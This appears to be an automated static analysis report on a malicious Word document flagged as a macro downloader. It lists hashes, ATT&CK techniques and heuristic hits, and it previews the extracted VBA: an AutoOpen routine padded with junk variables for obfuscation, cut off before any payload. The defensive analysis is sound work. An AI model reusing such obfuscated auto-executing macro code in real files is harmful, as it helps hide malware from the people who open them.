Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 337ea5b89c8d7372…

MALICIOUS

Office (OLE)

207.0 KB Created: 2017-05-06 12:56:00 Authoring application: Microsoft Office Word First seen: 2017-05-13
MD5: e098ce9a7eeb985722557fe2967c051b SHA-1: fcda7e551b870b63a8e69d553cc5c1c90a1da16a SHA-256: 337ea5b89c8d737249708009d1182e4aa255d71f5bebfca7078c0b60d6f89188
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the Shell() function, a strong indicator of malicious intent to execute arbitrary commands. The ClamAV detection name further supports its classification as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Heuristic-6312759-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Heuristic-6312759-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38757 bytes
SHA-256: f2621d00b0a4a1ef1525e5eed6de876905fd22fb9ff8a07c6c0ac006fb821e6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()

Dim nzyGeqvPW As Single
nzyGeqvPW = 6429.0332237413
Dim acranHEQW As Long
acranHEQW = 0
Dim aCZG9JOe As Boolean
aCZG9JOe = True
Dim kLXwIlKj As Integer
kLXwIlKj = -26866
Dim CjZ8csnG As Long
CjZ8csnG = -1196856066
Dim i1J5m
i1J5m = StrConv(LGdLAoS9r, vbLowerCase)
Dim ntRCcwLOf As Single
ntRCcwLOf = 6928.7257468196
Dim TRZxFTV As Single
TRZxFTV = 55026.733821399
Dim YMld7c As Boolean
YMld7c = True
Dim cmBX17s As String
cmBX17s = bjZ0Q
Dim dUFN9wtl As Long
dUFN9wtl = -1663313562
Dim hpqW5rhJK As Boolean
hpqW5rhJK = False
Dim kwaUMJ0oh As Byte
kwaUMJ0oh = 29
Dim eKakjLZM As Byte
eKakjLZM = 146
Dim jGnRd8 As Double
jGnRd8 = 24646.35202478
Dim ZgGDUN As Boolean
ZgGDUN = True
Dim DWo9m7h As Long
DWo9m7h = -392635900
Dim MzkAM83nE As String

Dim Hb2ks8qu As Long
Hb2ks8qu = 0
Dim x5grse As String
x5grse = a3FlNgx
Dim A8BpQ As Byte
A8BpQ = 51
Dim Gk3uY As Double
Gk3uY = 6701.9434955471
Dim N9lfMvLZ As Long
N9lfMvLZ = 0
Dim qdTvr6tj As Double
qdTvr6tj = 51523.490459567
Dim U8mxuFrdQ As String
U8mxuFrdQ = StrConv(R9ODLu, vbUpperCase)
Dim V6HbIkv As Long
V6HbIkv = 0
Dim yIeoJTtg As Long
yIeoJTtg = -1881456740
Dim aeguNYy65 As Byte
aeguNYy65 = 14
Dim weBM1KI9 As Double
weBM1KI9 = 2323.4714300807
Dim Gqt73I
Gqt73I = StrConv(rYlJx, vbUpperCase)
Dim huwTPJx As Double
huwTPJx = 58520.71044816
Dim mWza4f As Boolean
mWza4f = False
Dim RDwfTcGH As Integer
RDwfTcGH = 9796
Dim ky4SV85 As Byte
ky4SV85 = 240
Dim QlXEy3xZ
QlXEy3xZ = StrConv(BkQF2VB1, vbProperCase)
Dim ik9nXf
ik9nXf = StrConv(jsJRSkdPp, vbProperCase)
Dim TKeayGo As Single
TKeayGo = 18465.126748261
Dim gLaWJsMO As Boolean
gLaWJsMO = True
Dim LeJMwzWyl As Boolean
LeJMwzWyl = False
Dim Afh7RACBY As Byte
Afh7RACBY = 215
Dim wmoWO As Long
wmoWO = 0
Dim W6e1qHfp As Long
W6e1qHfp = -1286706106
Dim VUO7u As Long
VUO7u = 0
Dim nDuNkh As Boolean
nDuNkh = False
Dim pFkezpZ7 As Double
pFkezpZ7 = 49860.571880061
Dim KnLsw53 As Boolean
KnLsw53 = True

Dim RUYujZ As Long
RUYujZ = 0
Dim J1ITD As Single
J1ITD = 15644.775511632
Dim t4ocj3PL As String
t4ocj3PL = StrConv(oM49yFte, vbUpperCase)
Dim xPeB4 As Single
xPeB4 = 64999.558541211
Dim awtFfH As Double
awtFfH = 54113.938276645
Dim DcsujO0Wv As Single
DcsujO0Wv = 39238.59164276
Dim vYG5NP As Byte
vYG5NP = 23
Dim XKt4pAg As Integer
XKt4pAg = -25892
Dim MkcN3M As String
MkcN3M = StrConv(zCIFwl4H, vbLowerCase)
Dim DqKeib As Long
DqKeib = 0
Dim GPd8g As Byte
GPd8g = 99
Dim KzeMTObL As Long
KzeMTObL = 0
Dim Xgo6fIZV As Boolean
Xgo6fIZV = True
Dim tZJHyg1mY As Long
tZJHyg1mY = -432375144
Dim ujpYc As Boolean
ujpYc = True
Dim TD2o7dmJ As Long
TD2o7dmJ = -307021924
Dim XkmMfWx As Long
XkmMfWx = 0
Dim qvW4Tug As Integer
qvW4Tug = 11108
Dim t9uDqTn40 As Long
t9uDqTn40 = -771738060
Dim VgYvpQ As Single
VgYvpQ = 2631.1823803069
Dim m9Bj2D As Integer
m9Bj2D = -13082
Dim wAYrJcsdg As Byte
wAYrJcsdg = 199
Dim PzpTD5iP2 As Long
PzpTD5iP2 = 0
Dim h9hd6zX As Integer
h9hd6zX = 9959

Dim Nlg2y As Double
Nlg2y = 55367.824176528
Dim Ozviu As Integer
Ozviu = 20135
Dim upzxke As Double
upzxke = 40553.805374382
Dim tX4Z3vHb
tX4Z3vHb = vbNullString
Dim trfe5 As Double
trfe5 = 19548.524858012
Dim fSrkGbZfi As Single
fSrkGbZfi = 45347.090610037
Dim rTB8ZqusH As Byte
rTB8ZqusH = 131
Dim wgjS25eR As Integer
wgjS25eR = -7546
Dim EANI1P6 As Byte
EANI1P6 = 127
Dim WESf0VQ As Single
WESf0VQ = 64189.064386224
Dim jLtzUJG5y As Boolean
jLtzUJG5y = False
Dim Kr8NRSPCA As Byte
Kr8NRSPCA = 17
Dim vBriL As Single
vBriL = 28108.42871629

Dim Up9BUwf As Boolean
Up9BUwf = True
Dim rX73owGU As Single
rX73owGU = 10568.396351913
Dim lHNMI3P As Integer
lHNMI3P = 12064
Dim HU1LcnG
HU1LcnG = "
... (truncated)